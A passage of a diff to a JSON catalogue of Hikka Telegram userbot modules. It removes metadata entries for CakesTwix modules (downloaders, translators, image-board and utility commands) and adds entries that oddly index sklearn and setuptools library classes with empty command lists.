Turn off bio animation (stopabio) Выключить анимацию био" - } - ], - "new_commands": [ - { - "animatedname": { - "ru_doc": "(aname) Включить анимацию имени", - "en_doc": null, - "doc": "(aname) Turn on name animation" - } - }, - { - "animatedbio": { - "ru_doc": "(abio) Включить анимацию био", - "en_doc": null, - "doc": "(abio) Turn on bio animation" - } - }, - { - "stopanimatedname": { - "ru_doc": "(stopaname) Выключить анимацию имени", - "en_doc": null, - "doc": "(stopaname) Turn off name animation" - } - }, - { - "stopanimatedbio": { - "ru_doc": "(stopabio) Выключить анимацию био", - "en_doc": null, - "doc": "(stopabio) Turn off bio animation" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "CakesTwix/Hikka-Modules/transmission.py": { - "name": "TransmissionMod", - "description": "Simple torrent client for Transmission", - "meta": { - "pic": "https://img.icons8.com/ios-filled/512/40C057/torrent.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "tinfocmd": "Useful information about transmission server" - }, - { - "tdownloadcmd": "Download Torrent file" - } - ], - "new_commands": [ - { - "tinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Useful information about transmission server" - } - }, - { - "tdownload": { - "ru_doc": null, - "en_doc": null, - "doc": "Download Torrent file" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "CakesTwix/Hikka-Modules/flibusta.py": { - "name": "FlibustaMod", - "description": "Get books from flibusta", - "meta": { - "pic": "https://allvpn.ru/assets/upload/t-200x200-7439447981535195421.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "bookcmd": "🔎 Sending the form with the books. Send message with args if you want to find a book by title" - } - ], - "new_commands": [ - { - "book": { - "ru_doc": null, - "en_doc": null, - "doc": "🔎 Sending the form with the books. Send message with args if you want to find a book by title" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "CakesTwix/Hikka-Modules/saucenao.py": { - "name": "SauceNaoMod", - "description": "🔎 SauceNao - image source locator", - "meta": { - "pic": "https://img.icons8.com/external-flaticons-lineal-color-flat-icons/512/000000/external-anime-addiction-flaticons-lineal-color-flat-icons.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "saucecmd": "🔗 Search for the source by link/photo" - } - ], - "new_commands": [ - { - "sauce": { - "ru_doc": null, - "en_doc": null, - "doc": "🔗 Search for the source by link/photo" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "CakesTwix/Hikka-Modules/yandere.py": { - "name": "MoebooruMod", - "description": "Module for obtaining art from the ImageBoard yande.re", - "meta": { - "pic": "https://www.seekpng.com/png/full/824-8246338_yandere-sticker-yandere-simulator-ayano-bloody.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "ylastcmd": "The last posted art" - }, - { - "yrandomcmd": "Random posted art" - }, - { - "yvotecmd": "Vote for art\n\nBad = -1, None = 0, Good = 1, Great = 2, Favorite = 3" - } - ], - "new_commands": [ - { - "ylast": { - "ru_doc": null, - "en_doc": null, - "doc": "The last posted art" - } - }, - { - "yrandom": { - "ru_doc": null, - "en_doc": null, - "doc": "Random posted art" - } - }, - { - "yvote": { - "ru_doc": null, - "en_doc": null, - "doc": "Vote for art\n\nBad = -1, None = 0, Good = 1, Great = 2, Favorite = 3" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "CakesTwix/Hikka-Modules/minecraft.py": { - "name": "InlineMinecraftInfoMod", - "description": "Information about players and server status", - "meta": { - "pic": "https://icons.iconarchive.com/icons/blackvariant/button-ui-requests-2/1024/Minecraft-2-icon.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "mucheckcmd": "Check user by username" - }, - { - "mpingcmd": "Ping minecraft server" - } - ], - "new_commands": [ - { - "mucheck": { - "ru_doc": null, - "en_doc": null, - "doc": "Check user by username" - } - }, - { - "mping": { - "ru_doc": null, - "en_doc": null, - "doc": "Ping minecraft server" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "CakesTwix/Hikka-Modules/Silero.py": { - "name": "SileroMod", - "description": "Silero Models: pre-trained speech-to-text, text-to-speech and text-enhancement models made embarrassingly simple", - "meta": { - "pic": "https://cdn.pixabay.com/photo/2017/07/09/20/48/speaker-2488096_1280.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "sxeniacmd": "From text to sound (xenia)" - }, - { - "saidarcmd": "From text to sound (aidar)" - }, - { - "sbayacmd": "From text to sound (baya)" - }, - { - "skseniyacmd": "From text to sound (kseniya)" - }, - { - "srandomcmd": "From text to sound (random)" - } - ], - "new_commands": [ - { - "sxenia": { - "ru_doc": null, - "en_doc": null, - "doc": "From text to sound (xenia)" - } - }, - { - "saidar": { - "ru_doc": null, - "en_doc": null, - "doc": "From text to sound (aidar)" - } - }, - { - "sbaya": { - "ru_doc": null, - "en_doc": null, - "doc": "From text to sound (baya)" - } - }, - { - "skseniya": { - "ru_doc": null, - "en_doc": null, - "doc": "From text to sound (kseniya)" - } - }, - { - "srandom": { - "ru_doc": null, - "en_doc": null, - "doc": "From text to sound (random)" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "CakesTwix/Hikka-Modules/yandere_geek.py": { - "name": "InlineMoebooruMod", - "description": "Module for obtaining art from the ImageBoard yande.re", - "meta": { - "pic": "https://www.seekpng.com/png/full/824-8246338_yandere-sticker-yandere-simulator-ayano-bloody.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "ylastcmd": "The last posted art" - }, - { - "yrandomcmd": "The random posted art" - }, - { - "yvotecmd": "Vote for art\n\nBad = -1, None = 0, Good = 1, Great = 2, Favorite = 3" - } - ], - "new_commands": [ - { - "ylast": { - "ru_doc": null, - "en_doc": null, - "doc": "The last posted art" - } - }, - { - "yrandom": { - "ru_doc": null, - "en_doc": null, - "doc": "The random posted art" - } - }, - { - "yvote": { - "ru_doc": null, - "en_doc": null, - "doc": "Vote for art\n\nBad = -1, None = 0, Good = 1, Great = 2, Favorite = 3" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "CakesTwix/Hikka-Modules/customroms.py": { - "name": "CustomRomsMod", - "description": "Miscellaneous stuff for custom ROMs", - "meta": { - "pic": "https://styles.redditmedia.com/t5_3htpk/styles/communityIcon_vlbulj1gn8l11.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "sakuracmd": "Project Sakura" - }, - { - "dotoscmd": "DotOS" - }, - { - "aexcmd": "AOSP Extended" - }, - { - "twrpcmd": "TWRP Devices" - }, - { - "shrpcmd": "SHRP Devices" - }, - { - "pbrpcmd": "PBRP Devices" - }, - { - "magiskcmd": "Magisk by topjohnwu" - } - ], - "new_commands": [ - { - "sakura": { - "ru_doc": null, - "en_doc": null, - "doc": "Project Sakura" - } - }, - { - "dotos": { - "ru_doc": null, - "en_doc": null, - "doc": "DotOS" - } - }, - { - "aex": { - "ru_doc": null, - "en_doc": null, - "doc": "AOSP Extended" - } - }, - { - "twrp": { - "ru_doc": null, - "en_doc": null, - "doc": "TWRP Devices" - } - }, - { - "shrp": { - "ru_doc": null, - "en_doc": null, - "doc": "SHRP Devices" - } - }, - { - "pbrp": { - "ru_doc": null, - "en_doc": null, - "doc": "PBRP Devices" - } - }, - { - "magisk": { - "ru_doc": null, - "en_doc": null, - "doc": "Magisk by topjohnwu" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "CakesTwix/Hikka-Modules/hentai.py": { - "name": "NHentaiMod", - "description": "🍓 Hentai doujin module 18+", - "meta": { - "pic": "https://seeklogo.com/images/H/hentai-haven-logo-B9D8C4B3B8-seeklogo.com.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "nhrandomcmd": "🎲 Random hentai doujin" - }, - { - "nhlastcmd": "⌚️ Latest hentai doujin" - }, - { - "nhidcmd": "1️⃣ Hentai doujin by id" - }, - { - "nhsearchcmd": "🔎 Search hentai doujin" - } - ], - "new_commands": [ - { - "nhrandom": { - "ru_doc": null, - "en_doc": null, - "doc": "🎲 Random hentai doujin" - } - }, - { - "nhlast": { - "ru_doc": null, - "en_doc": null, - "doc": "⌚️ Latest hentai doujin" - } - }, - { - "nhid": { - "ru_doc": null, - "en_doc": null, - "doc": "1️⃣ Hentai doujin by id" - } - }, - { - "nhsearch": { - "ru_doc": null, - "en_doc": null, - "doc": "🔎 Search hentai doujin" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "CakesTwix/Hikka-Modules/random_tools.py": { - "name": "RToolsMod", - "description": "Random tools", - "meta": { - "pic": "https://i0.wp.com/alliancestake.org/wp-content/uploads/2017/09/icon-circle-tools-blue-1.png?fit=300%2C300&ssl=1", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "mac2vendorcmd": "Get vendor name by mac" - }, - { - "oneptcmd": "A simple URL shortener (1pt.co)" - }, - { - "npcmd": "Нова Пошта" - } - ], - "new_commands": [ - { - "mac2vendor": { - "ru_doc": null, - "en_doc": null, - "doc": "Get vendor name by mac" - } - }, - { - "onept": { - "ru_doc": null, - "en_doc": null, - "doc": "A simple URL shortener (1pt.co)" - } - }, - { - "np": { - "ru_doc": null, - "en_doc": null, - "doc": "Нова Пошта" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "CakesTwix/Hikka-Modules/linux_packages.py": { - "name": "LinuxPackagesMod", - "description": "Search package for Linux by name", - "meta": { - "pic": "https://img.icons8.com/clouds/512/000000/linux-client.png", - "banner": null, - "developer": "@KiwiNicer" - }, - "commands": [ - { - "aurcmd": "Arch User Repository" - }, - { - "pacmancmd": "Pacman" - } - ], - "new_commands": [ - { - "aur": { - "ru_doc": null, - "en_doc": null, - "doc": "Arch User Repository" - } - }, - { - "pacman": { - "ru_doc": null, - "en_doc": null, - "doc": "Pacman" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "CakesTwix/Hikka-Modules/tikcock.py": { - "name": "TikTokMod", - "description": "Yet Another TikTok Downloader", - "meta": { - "pic": "http://assets.stickpng.com/images/5cb78671a7c7755bf004c14b.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "ttdlcmd": "Download video/music from tiktok" - } - ], - "new_commands": [ - { - "ttdl": { - "ru_doc": null, - "en_doc": null, - "doc": "Download video/music from tiktok" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "CakesTwix/Hikka-Modules/InlineSpotifyDownloader.py": { - "name": "InlineSpotifyDownloaderMod", - "description": "Module for downloading music from Spotify", - "meta": { - "pic": "https://cdn-icons-png.flaticon.com/512/2111/2111624.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "spotdlcmd": "Download music from Spotify (Only tracks)" - } - ], - "new_commands": [ - { - "spotdl": { - "ru_doc": null, - "en_doc": null, - "doc": "Download music from Spotify (Only tracks)" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "CakesTwix/Hikka-Modules/InlineWynnCraft.py": { - "name": "InlineWynnCraftInfoMod", - "description": "A module for displaying player information on the WynnCraft rpg server", - "meta": { - "pic": "https://b.thumbs.redditmedia.com/-cDkj6PuQHqdLEhPh1JYsYplTArOOUuBnKs5FC8sgKs.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "wucheckcmd": "Check user by username" - }, - { - "wplayertopcmd": "Top players" - } - ], - "new_commands": [ - { - "wucheck": { - "ru_doc": null, - "en_doc": null, - "doc": "Check user by username" - } - }, - { - "wplayertop": { - "ru_doc": null, - "en_doc": null, - "doc": "Top players" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "CakesTwix/Hikka-Modules/qrcode.py": { - "name": "QrCodeMod", - "description": "Module for creating Qr codes", - "meta": { - "pic": "https://cdn1.iconfinder.com/data/icons/social-messaging-ui-color-shapes/128/qr-code-circle-blue-512.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "qrcmd": "Create QrCode" - } - ], - "new_commands": [ - { - "qr": { - "ru_doc": null, - "en_doc": null, - "doc": "Create QrCode" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "CakesTwix/Hikka-Modules/RandomPeople.py": { - "name": "RandomPeopleMod", - "description": "Create your new identity", - "meta": { - "pic": "https://www.pngall.com/wp-content/uploads/12/Avatar-Transparent.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "prandomcmd": "Get random people" - } - ], - "new_commands": [ - { - "prandom": { - "ru_doc": null, - "en_doc": null, - "doc": "Get random people" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "CakesTwix/Hikka-Modules/anilibria.py": { - "name": "AniLibriaMod", - "description": "A non-profit project for the dubbing and adaptation of foreign TV series, cartoons and anime", - "meta": { - "pic": "https://image.winudf.com/v2/image/cnUucmFkaWF0aW9ueC5hbmlsaWJyaWEuYXBwX2ljb25fMTUyODYyNzQ2NV8wMjY/icon.png?w=&fakeurl=1", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "arandomcmd": "Возвращает случайный тайтл из базы" - }, - { - "aschedulecmd": "Получить список последних обновлений тайтлов" - } - ], - "new_commands": [ - { - "arandom": { - "ru_doc": null, - "en_doc": null, - "doc": "Возвращает случайный тайтл из базы" - } - }, - { - "aschedule": { - "ru_doc": null, - "en_doc": null, - "doc": "Получить список последних обновлений тайтлов" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "CakesTwix/Hikka-Modules/compli.py": { - "name": "CompliMod", - "description": "Send a compliment to a person", - "meta": { - "pic": "https://www.freeiconspng.com/uploads/facebook-circle-heart-love-png-4.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "complicmd": "Send a person compliments\n.compli [delay] [man/women]" - } - ], - "new_commands": [ - { - "compli": { - "ru_doc": null, - "en_doc": null, - "doc": "Send a person compliments\n.compli [delay] [man/women]" - } - } - ], + "commands": [], + "new_commands": [], "category": [ "Fun", "Tools" ] }, - "CakesTwix/Hikka-Modules/hentai_ftg.py": { - "name": "NHentaiMod", - "description": "Hentai module 18+ Legacy", + "venv/lib/python3.9/site-packages/sklearn/metrics/_pairwise_distances_reduction/_dispatcher.py": { + "name": "RadiusNeighborsClassMode", + "description": "Compute radius-based class modes of row vectors of X using the\nthose of Y.\n\nFor each row-vector X[i] of the queries X, find all the indices j of\nrow-vectors in Y such that:\n\n dist(X[i], Y[j]) <= radius\n\nRadiusNeighborsClassMode is typically used to perform bruteforce\nradius neighbors queries when the weighted mode of the labels for\nthe nearest neighbors within the specified radius are required,\nsuch as in `predict` methods.\n\nThis class is not meant to be instantiated, one should only use\nits :meth:`compute` classmethod which handles allocation and\ndeallocation consistently.", "meta": { - "pic": "https://seeklogo.com/images/H/hentai-haven-logo-B9D8C4B3B8-seeklogo.com.png", - "banner": null, - "developer": "@cakestwix_mods" + "pic": null, + "banner": null }, - "commands": [ - { - "nhrandomcmd": "Random hentai manga" - }, - { - "nhtagcmd": "Search hentai manga by tag" - }, - { - "nhidcmd": "Search hentai manga by id" - } - ], - "new_commands": [ - { - "nhrandom": { - "ru_doc": null, - "en_doc": null, - "doc": "Random hentai manga" - } - }, - { - "nhtag": { - "ru_doc": null, - "en_doc": null, - "doc": "Search hentai manga by tag" - } - }, - { - "nhid": { - "ru_doc": null, - "en_doc": null, - "doc": "Search hentai manga by id" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "CakesTwix/Hikka-Modules/FoxAndDogsGallery.py": { - "name": "FoxGalerryMod", - "description": "🦊 Foxes, Dogs 🐶 and cats 🐱", - "meta": { - "pic": "https://cdn-icons-png.flaticon.com/512/1005/1005340.png", - "banner": null, - "developer": "@shadow_geektg, @cakestwix_mods" - }, - "commands": [ - { - "foxescmd": "🦊 Sending photos with foxes" - }, - { - "dogscmd": "🐶 Sending photos with dogs" - }, - { - "randomcdfcmd": "Photos of dogs 🐶 and foxes 🦊" - } - ], - "new_commands": [ - { - "foxes": { - "ru_doc": null, - "en_doc": null, - "doc": "🦊 Sending photos with foxes" - } - }, - { - "dogs": { - "ru_doc": null, - "en_doc": null, - "doc": "🐶 Sending photos with dogs" - } - }, - { - "randomcdf": { - "ru_doc": null, - "en_doc": null, - "doc": "Photos of dogs 🐶 and foxes 🦊" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "CakesTwix/Hikka-Modules/toloka_geek.py": { - "name": "HurtomMod", - "description": "Український торрент трекер", - "meta": { - "pic": "https://img.icons8.com/external-others-iconmarket/512/000000/external-national-flags-others-iconmarket-5.png", - "banner": null, - "developer": "@cakestwix_mods" - }, - "commands": [ - { - "hsearchcmd": "Пошук по трекеру toloka.to (повертає перший елемент)" - } - ], - "new_commands": [ - { - "hsearch": { - "ru_doc": null, - "en_doc": null, - "doc": "Пошук по трекеру toloka.to (повертає перший елемент)" - } - } - ], + "commands": [], + "new_commands": [], "category": [ "Tools", "Chat" ] }, - "CakesTwix/Hikka-Modules/ImageBoardSender.py": { - "name": "ImageBoardSenderMod", - "description": "Auto-posting art to your channels", + "venv/lib/python3.9/site-packages/sklearn/utils/tests/test_estimator_checks.py": { + "name": "ModifiesAnotherValue", + "description": null, "meta": { - "pic": "https://www.seekpng.com/png/full/824-8246338_yandere-sticker-yandere-simulator-ayano-bloody.png", - "banner": null, - "developer": "@cakestwix_mods" + "pic": null, + "banner": null }, - "commands": [ - { - "channelmenucmd": "🗒 Simple Menu and status" - }, - { - "artsourcecmd": "🧑‍🎤 Change the source of art" - }, - { - "latestartcmd": "⌚️ Sending the last art for now" - }, - { - "randomartcmd": "🎲 Sending a random art" - } - ], - "new_commands": [ - { - "channelmenu": { - "ru_doc": null, - "en_doc": null, - "doc": "🗒 Simple Menu and status" - } - }, - { - "artsource": { - "ru_doc": null, - "en_doc": null, - "doc": "🧑‍🎤 Change the source of art" - } - }, - { - "latestart": { - "ru_doc": null, - "en_doc": null, - "doc": "⌚️ Sending the last art for now" - } - }, - { - "randomart": { - "ru_doc": null, - "en_doc": null, - "doc": "🎲 Sending a random art" - } - } - ], + "commands": [], + "new_commands": [], "category": [ - "Chat", - "Fun" + "Fun", + "Tools" ] }, - "CakesTwix/Hikka-Modules/fdroid.py": { - "name": "FDroidMod", - "description": "Search for android apps from FDroid", + "venv/lib/python3.9/site-packages/sklearn/linear_model/_coordinate_descent.py": { + "name": "LinearModelCV", + "description": "Base class for iterative model fitting along a regularization path.", "meta": { - "pic": "https://forum.f-droid.org/uploads/default/original/2X/c/cfb2c14973c28415b0e5b5f7adef9c8288cd8609.png", - "banner": null, - "developer": "@cakestwix_mods" + "pic": null, + "banner": null }, - "commands": [ - { - "fdroidcmd": "Find the app in the FDroid catalog" - } - ], - "new_commands": [ - { - "fdroid": { - "ru_doc": null, - "en_doc": null, - "doc": "Find the app in the FDroid catalog" - } - } - ], + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "venv/lib/python3.9/site-packages/sklearn/linear_model/_linear_loss.py": { + "name": "LinearModelLoss", + "description": "General class for loss functions with raw_prediction = X @ coef + intercept.\n\nNote that raw_prediction is also known as linear predictor.\n\nThe loss is the average of per sample losses and includes a term for L2\nregularization::\n\n loss = 1 / s_sum * sum_i s_i loss(y_i, X_i @ coef + intercept)\n + 1/2 * l2_reg_strength * ||coef||_2^2\n\nwith sample weights s_i=1 if sample_weight=None and s_sum=sum_i s_i.\n\nGradient and hessian, for simplicity without intercept, are::\n\n gradient = 1 / s_sum * X.T @ loss.gradient + l2_reg_strength * coef\n hessian = 1 / s_sum * X.T @ diag(loss.hessian) @ X\n + l2_reg_strength * identity\n\nConventions:\n if fit_intercept:\n n_dof = n_features + 1\n else:\n n_dof = n_features\n\n if base_loss.is_multiclass:\n coef.shape = (n_classes, n_dof) or ravelled (n_classes * n_dof,)\n else:\n coef.shape = (n_dof,)\n\n The intercept term is at the end of the coef array:\n if base_loss.is_multiclass:\n if coef.shape (n_classes, n_dof):\n intercept = coef[:, -1]\n if coef.shape (n_classes * n_dof,)\n intercept = coef[n_features::n_dof] = coef[(n_dof-1)::n_dof]\n intercept.shape = (n_classes,)\n else:\n intercept = coef[-1]\n\n Shape of gradient follows shape of coef.\n gradient.shape = coef.shape\n\n But hessian (to make our lives simpler) are always 2-d:\n if base_loss.is_multiclass:\n hessian.shape = (n_classes * n_dof, n_classes * n_dof)\n else:\n hessian.shape = (n_dof, n_dof)\n\nNote: If coef has shape (n_classes * n_dof,), the 2d-array can be reconstructed as\n\n coef.reshape((n_classes, -1), order=\"F\")\n\nThe option order=\"F\" makes coef[:, i] contiguous. This, in turn, makes the\ncoefficients without intercept, coef[:, :-1], contiguous and speeds up\nmatrix-vector computations.\n\nNote: If the average loss per sample is wanted instead of the sum of the loss per\nsample, one can simply use a rescaled sample_weight such that\nsum(sample_weight) = 1.\n\nParameters\n----------\nbase_loss : instance of class BaseLoss from sklearn._loss.\nfit_intercept : bool", + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Tools", + "Chat" + ] + }, + "venv/lib/python3.9/site-packages/sklearn/linear_model/_base.py": { + "name": "LinearModel", + "description": "Base class for Linear Models", + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "venv/lib/python3.9/site-packages/sklearn/feature_selection/_from_model.py": { + "name": "SelectFromModel", + "description": "Meta-transformer for selecting features based on importance weights.\n\n.. versionadded:: 0.17\n\nRead more in the :ref:`User Guide <select_from_model>`.\n\nParameters\n----------\nestimator : object\n The base estimator from which the transformer is built.\n This can be both a fitted (if ``prefit`` is set to True)\n or a non-fitted estimator. The estimator should have a\n ``feature_importances_`` or ``coef_`` attribute after fitting.\n Otherwise, the ``importance_getter`` parameter should be used.\n\nthreshold : str or float, default=None\n The threshold value to use for feature selection. Features whose\n absolute importance value is greater or equal are kept while the others\n are discarded. If \"median\" (resp. \"mean\"), then the ``threshold`` value\n is the median (resp. the mean) of the feature importances. A scaling\n factor (e.g., \"1.25*mean\") may also be used. If None and if the\n estimator has a parameter penalty set to l1, either explicitly\n or implicitly (e.g, Lasso), the threshold used is 1e-5.\n Otherwise, \"mean\" is used by default.\n\nprefit : bool, default=False\n Whether a prefit model is expected to be passed into the constructor\n directly or not.\n If `True`, `estimator` must be a fitted estimator.\n If `False`, `estimator` is fitted and updated by calling\n `fit` and `partial_fit`, respectively.\n\nnorm_order : non-zero int, inf, -inf, default=1\n Order of the norm used to filter the vectors of coefficients below\n ``threshold`` in the case where the ``coef_`` attribute of the\n estimator is of dimension 2.\n\nmax_features : int, callable, default=None\n The maximum number of features to select.\n\n - If an integer, then it specifies the maximum number of features to\n allow.\n - If a callable, then it specifies how to calculate the maximum number of\n features allowed by using the output of `max_features(X)`.\n - If `None`, then all features are kept.\n\n To only select based on ``max_features``, set ``threshold=-np.inf``.\n\n .. versionadded:: 0.20\n .. versionchanged:: 1.1\n `max_features` accepts a callable.\n\nimportance_getter : str or callable, default='auto'\n If 'auto', uses the feature importance either through a ``coef_``\n attribute or ``feature_importances_`` attribute of estimator.\n\n Also accepts a string that specifies an attribute name/path\n for extracting feature importance (implemented with `attrgetter`).\n For example, give `regressor_.coef_` in case of\n :class:`~sklearn.compose.TransformedTargetRegressor` or\n `named_steps.clf.feature_importances_` in case of\n :class:`~sklearn.pipeline.Pipeline` with its last step named `clf`.\n\n If `callable`, overrides the default feature importance getter.\n The callable is passed with the fitted estimator and it should\n return importance for each feature.\n\n .. versionadded:: 0.24\n\nAttributes\n----------\nestimator_ : estimator\n The base estimator from which the transformer is built. This attribute\n exist only when `fit` has been called.\n\n - If `prefit=True`, it is a deep copy of `estimator`.\n - If `prefit=False`, it is a clone of `estimator` and fit on the data\n passed to `fit` or `partial_fit`.\n\nn_features_in_ : int\n Number of features seen during :term:`fit`. Only defined if the\n underlying estimator exposes such an attribute when fit.\n\n .. versionadded:: 0.24\n\nmax_features_ : int\n Maximum number of features calculated during :term:`fit`. Only defined\n if the ``max_features`` is not `None`.\n\n - If `max_features` is an `int`, then `max_features_ = max_features`.\n - If `max_features` is a callable, then `max_features_ = max_features(X)`.\n\n .. versionadded:: 1.1\n\nfeature_names_in_ : ndarray of shape (`n_features_in_`,)\n Names of features seen during :term:`fit`. Defined only when `X`\n has feature names that are all strings.\n\n .. versionadded:: 1.0\n\nthreshold_ : float\n The threshold value used for feature selection.\n\nSee Also\n--------\nRFE : Recursive feature elimination based on importance weights.\nRFECV : Recursive feature elimination with built-in cross-validated\n selection of the best number of features.\nSequentialFeatureSelector : Sequential cross-validation based feature\n selection. Does not rely on importance weights.\n\nNotes\n-----\nAllows NaN/Inf in the input if the underlying estimator does as well.\n\nExamples\n--------\n>>> from sklearn.feature_selection import SelectFromModel\n>>> from sklearn.linear_model import LogisticRegression\n>>> X = [[ 0.87, -1.34, 0.31 ],\n... [-2.79, -0.02, -0.85 ],\n... [-1.34, -0.48, -2.55 ],\n... [ 1.92, 1.48, 0.65 ]]\n>>> y = [0, 1, 0, 1]\n>>> selector = SelectFromModel(estimator=LogisticRegression()).fit(X, y)\n>>> selector.estimator_.coef_\narray([[-0.3252..., 0.8345..., 0.4976...]])\n>>> selector.threshold_\nnp.float64(0.55249...)\n>>> selector.get_support()\narray([False, True, False])\n>>> selector.transform(X)\narray([[-1.34],\n [-0.02],\n [-0.48],\n [ 1.48]])\n\nUsing a callable to create a selector that can use no more than half\nof the input features.\n\n>>> def half_callable(X):\n... return round(len(X[0]) / 2)\n>>> half_selector = SelectFromModel(estimator=LogisticRegression(),\n... max_features=half_callable)\n>>> _ = half_selector.fit(X, y)\n>>> half_selector.max_features_\n2", + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], + "category": [ + "Tools", + "Chat" + ] + }, + "venv/lib/python3.9/site-packages/sklearn/tests/test_base.py": { + "name": "ModifyInitParams", + "description": "Deprecated behavior.\nEqual parameters but with a type cast.\nDoesn't fulfill a is a", + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], "category": [ "Tools", "Fun" ] }, - "CakesTwix/Hikka-Modules/SimpleNoLink.py": { - "name": "NoLinksMod", - "description": "A simple link cleaner from your chats", + "venv/lib/python3.9/site-packages/setuptools/discovery.py": { + "name": "FlatLayoutModuleFinder", + "description": null, "meta": { - "pic": "https://img.icons8.com/officel/16/000000/broken-link.png", - "banner": null, - "developer": "@cakestwix_mods" + "pic": null, + "banner": null }, - "commands": [ - { - "linkcmd": "Configuration for chat" - } - ], - "new_commands": [ - { - "link": { - "ru_doc": null, - "en_doc": null, - "doc": "Configuration for chat" - } - } - ], + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "venv/lib/python3.9/site-packages/setuptools/command/editable_wheel.py": { + "name": "_EditableMode", + "description": "Possible editable installation modes:\n`lenient` (new files automatically added to the package - DEFAULT);\n`strict` (requires a new installation when files are added/removed); or\n`compat` (attempts to emulate `python setup.py develop` - DEPRECATED).", + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], "category": [ "Chat", "Tools" ] }, - "CakesTwix/Hikka-Modules/InlineSystemInfo.py": { - "name": "InlineSystemInfoMod", - "description": "🖥 Get detailed information about your server", + "venv/lib/python3.9/site-packages/setuptools/_distutils/errors.py": { + "name": "DistutilsModuleError", + "description": "Unable to load an expected module, or to find an expected class\nwithin some module (in particular, command modules and classes).", "meta": { - "pic": "https://img.icons8.com/external-xnimrodx-lineal-color-xnimrodx/512/000000/external-pc-computer-xnimrodx-lineal-color-xnimrodx.png", - "banner": null, - "developer": "@cakestwix_mods" + "pic": null, + "banner": null }, - "commands": [ - { - "systeminfocmd": "Get information about your server" - } - ], - "new_commands": [ - { - "systeminfo": { - "ru_doc": null, - "en_doc": null, - "doc": "Get information about your server" - } - } - ], + "commands": [], + "new_commands": [], "category": [ "Tools", - "Admin" + "Games" ] }, - "CakesTwix/Hikka-Modules/translate.py": { - "name": "TranslatorMod", - "description": "🔡 Module for text translation\n➡️ .tr en ru | Hello World\n➡️ .tr ru | Hello World\n➡️ .tr ru + reply to message", + "venv/lib/python3.9/site-packages/setuptools/tests/test_find_py_modules.py": { + "name": "TestFlatLayoutModuleFinder", + "description": null, "meta": { - "pic": "https://img.icons8.com/color/512/40C057/translate-text.png", - "banner": null, - "developer": "@cakestwix_mods" + "pic": null, + "banner": null }, - "commands": [ - { - "atrcmd": "Based on Argos (LibreTranslate)" - }, - { - "itrcmd": "Based on Iciba" - }, - { - "gtrcmd": "Based on Google Translate" - }, - { - "ltrcmd": "Based on lingva.ml (Google Translate)" - } - ], - "new_commands": [ - { - "atr": { - "ru_doc": null, - "en_doc": null, - "doc": "Based on Argos (LibreTranslate)" - } - }, - { - "itr": { - "ru_doc": null, - "en_doc": null, - "doc": "Based on Iciba" - } - }, - { - "gtr": { - "ru_doc": null, - "en_doc": null, - "doc": "Based on Google Translate" - } - }, - { - "ltr": { - "ru_doc": null, - "en_doc": null, - "doc": "Based on lingva.ml (Google Translate)" - } - } - ], + "commands": [], + "new_commands": [], + "category": [ + "Fun", + "Tools" + ] + }, + "venv/lib/python3.9/site-packages/setuptools/tests/test_config_discovery.py": { + "name": "TestDiscoverPackagesAndPyModules", + "description": "Make sure discovered values for ``packages`` and ``py_modules`` work\nsimilarly to explicit configuration for the simple scenarios.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [], + "new_commands": [], "category": [ "Tools", "Chat" ] }, - "CakesTwix/Hikka-Modules/customroms_geek.py": { - "name": "CustomRomsMod", - "description": "Miscellaneous stuff for custom ROMs", + "venv/lib/python3.9/site-packages/setuptools/tests/test_depends.py": { + "name": "TestGetModuleConstant", + "description": null, "meta": { - "pic": 